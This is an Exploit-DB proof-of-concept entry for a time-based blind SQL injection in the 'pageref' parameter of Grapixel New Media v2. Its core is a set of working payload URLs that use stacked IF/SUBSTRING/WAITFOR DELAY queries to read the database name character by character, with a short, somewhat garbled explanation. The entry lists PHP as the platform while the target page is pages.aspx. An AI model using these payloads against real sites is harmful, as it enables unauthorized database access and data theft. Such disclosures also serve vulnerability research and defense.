Grapixel New Media 2 - 'pageref' SQL Injection

EDB-ID:

45704

CVE:

N/A




Platform:

PHP

Date:

2018-10-29


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# Exploit Title: Grapixel New Media 2 - 'pageref' SQL Injection
# Exploit Author: Berk Dusunur
# Google Dork: N/A
# Type: Web App
# Date: 2018-10-26
# Vendor Homepage: http://www.grapixel.com
# Software Link: http://www.grapixel.com
# Affected Version: v2
# Tested on: MacosX
# CVE : N/A

#Proof Of Concept
# Time-Based sql injection is called a data extraction event with request response times 
# with the server when there is no other way for it to extract aggressive data. It should 
# be determined by sql injection type. I discovered blind time-based sql injection. 
# Because single quotes didn't break the page structure, so I tried to get results 
# using waitfor delay instead.

http://target/pages.aspx?pageref=[SQL]
http://target/pages.aspx?pageref=' waitfor delay '00:00:05'--;
http://target/pages.aspx?pageref=';IF(UNICODE(SUBSTRING((SELECT DB_NAME(12)),1,1))>80) WAITFOR DELAY '0:0:5'--
http://target/pages.aspx?pageref=';IF(UNICODE(SUBSTRING((SELECT DB_NAME(12)),1,1))>81) WAITFOR DELAY '0:0:5'--

Ascii equivalent of 80,81 figures The first database, wait 5 seconds if the first letter is "p"